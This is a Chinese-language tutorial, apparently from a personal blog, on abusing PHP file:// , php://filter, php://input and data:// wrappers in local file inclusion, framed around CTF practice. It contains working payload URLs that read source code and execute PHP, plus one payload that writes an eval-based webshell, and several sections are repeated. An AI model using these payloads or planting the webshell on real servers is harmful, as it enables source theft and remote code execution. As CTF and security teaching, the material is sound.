协议浅析(一)"/>
PHP伪协议浅析(一)
PHP伪协议浅析
起因也是解CTF。然后遇到了第一次,当时粗略的看了这个东西,但没深入去看。后面又连续又到了几次。这里也和大家分享一下。
一、file://
协议(这个用的蛮多了)
-
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
- 作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响。
include()/require()/include_once()/require_once()
参数可控的情况下,如导入为非.php
文件,则仍按照php语法进行解析,这是include()
函数所决定的。 -
用法:
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
-
示例:
-
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
-
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
-
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
二、php://
协议
-
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
- 作用:
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。 -
php://filter
参数详解(这个协议用的蛮多的)
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
-
示例:
-
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)(这里我在CTF的解题过程中碰到了好几次)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
然后输出了BASE64的编码后,再去解密一下即可。
-
php://input + [POST DATA]
执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受
allow_url_fopen
与allow_url_include
的影响。include()/require()/include_once()/require_once()
参数可控的情况下,如导入为非.php
文件,则仍按照php语法进行解析,这是include()
函数所决定的。用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
示例:
-
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
-
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
-
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
二、php://
协议
-
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
- 作用:
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。 -
php://filter
参数详解(这个协议用的蛮多的)该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
-
示例:
-
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)(这里我在CTF的解题过程中碰到了好几次)http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
然后输出了BASE64的编码后,再去解密一下即可。
-
php://input + [POST DATA]
执行php代码http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
-
三、data://
协议
-
条件:
allow_url_fopen
:onallow_url_include
:on
- 作用:自
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 -
用法:
data://text/plain,
data://text/plain;base64,
-
示例:
-
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
-
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
条件:
allow_url_fopen
:onallow_url_include
:on
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:
data://text/plain, data://text/plain;base64,
示例:
-
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
-
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
更多推荐
PHP伪协议浅析(一)
发布评论